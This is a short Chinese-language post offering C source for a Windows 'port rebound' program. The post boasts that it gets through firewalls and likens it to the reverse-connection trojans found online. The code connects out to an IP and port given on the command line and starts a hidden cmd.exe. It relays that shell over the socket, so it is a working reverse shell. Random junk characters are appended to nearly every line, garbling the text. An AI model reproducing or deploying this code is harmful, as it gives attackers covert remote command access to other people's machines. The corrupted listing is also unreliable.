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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zzGYiF ?  
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/* ============================== `D5HC  
Rebound port in Windows NT I3S9Us-\  
By wind,2006/7 ?NNn:tiD  
===============================*/ NVV}6TUV  
#include '(&%O8Yi  
#include JWP*>\P  
;!@EixN-YH  
#pragma comment(lib,"wsock32.lib") =ziwxIo6  
U!w1AY|  
void OutputShell(); nQK|n^AU/  
SOCKET sClient; >k7q g$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E .6HpIx  
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void main(int argc,char **argv) "I- w  
{ #!J(4tXny  
WSADATA stWsaData; Tsb{25`+  
int nRet; u~zs* qp  
SOCKADDR_IN stSaiClient,stSaiServer; xgsjm) )  
BfTcI)  
if(argc != 3) /nx'Z0&+X  
{ *v%rMU7,  
printf("Useage:\n\rRebound DestIP DestPort\n"); L *[K>iW  
return; wRNroQ  
} uZKP"Oy  
?ne_m:J[  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2LY=D L7  
R! s6% :Yg  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oSb, :^Wl  
>n5:1.g  
stSaiClient.sin_family = AF_INET; xh@-g|+g  
stSaiClient.sin_port = htons(0); eBN)g^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _#$9 y1bd  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g\A y`.s  
{ YMpf+kN  
printf("Bind Socket Failed!\n"); \Xrw"\")j  
return; w*j$uW6{  
} &.i^dO^}  
IputF<p  
stSaiServer.sin_family = AF_INET; v]:=K-1n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =8 G&3 R  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BG2)v.CU  
vW,snxK6y&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?@6b>='!  
{ q(^Q3  
printf("Connect Error!"); ]Z<_ " F  
return; c/W=$3  
} f5RE9%.#~  
OutputShell(); u?+bW-D'd  
}  Wa/g`}  
e59dVFug.U  
void OutputShell() P3tx|:gV  
{ 7iC *Pr  
char szBuff[1024]; TTNk r`  
SECURITY_ATTRIBUTES stSecurityAttributes; 8 }'|]JK  
OSVERSIONINFO stOsversionInfo; E|"=. T  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =H7xD"'%R  
STARTUPINFO stStartupInfo; i?;r7>  
char *szShell; g8;D/  
PROCESS_INFORMATION stProcessInformation; wz8PtfZ  
unsigned long lBytesRead; }$su4A@0  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )(Iy<Y?#  
Tm]nEl)_  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,0$)yZ3*3,  
stSecurityAttributes.lpSecurityDescriptor = 0; L7Dh(y=;7  
stSecurityAttributes.bInheritHandle = TRUE; .?C%1a&_l  
#>;FUZuJr  
_K2?YY(#>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "T/>d%O1b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :q3+AtF  
4NVV5_K a  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dm rps+L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4NEq$t$Jn  
stStartupInfo.wShowWindow = SW_HIDE; Z*{] ,  
stStartupInfo.hStdInput = hReadPipe; ye 6H*K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OqhD7 +  
6V9doP]i  
GetVersionEx(&stOsversionInfo); >PKBo  
n ?[/ufl  
switch(stOsversionInfo.dwPlatformId) Zzua17  
{ ^o?SM^  
case 1: X##1! ad  
szShell = "command.com"; !SOrCMHx  
break; 6" T['6:j  
default: k ^'f[|}  
szShell = "cmd.exe"; ?q2j3e[>  
break; UO`;&e-DB  
} AtS;IRN@  
e`tLR- &  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); H2gj=krK  
QA!_} N4n  
send(sClient,szMsg,77,0); s,VXc/  
while(1) P'@<:S|  
{  84zTCX  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %bXx!x8(  
if(lBytesRead) ]6Ug>>x5  
{ 6+rlXmd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F^aR+m  
send(sClient,szBuff,lBytesRead,0); N8cAqr  
} 5}ie]/[|  
else =iB,["s  
{ BI[JATZG  
lBytesRead=recv(sClient,szBuff,1024,0); ~i'Nqe_  
if(lBytesRead<=0) break; aAvsb$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4wzlJ19E(  
} Qq-"Cg@-/  
} S&nxok`e^  
8cx=#Me  
return; ',7??Q7j&v  
}
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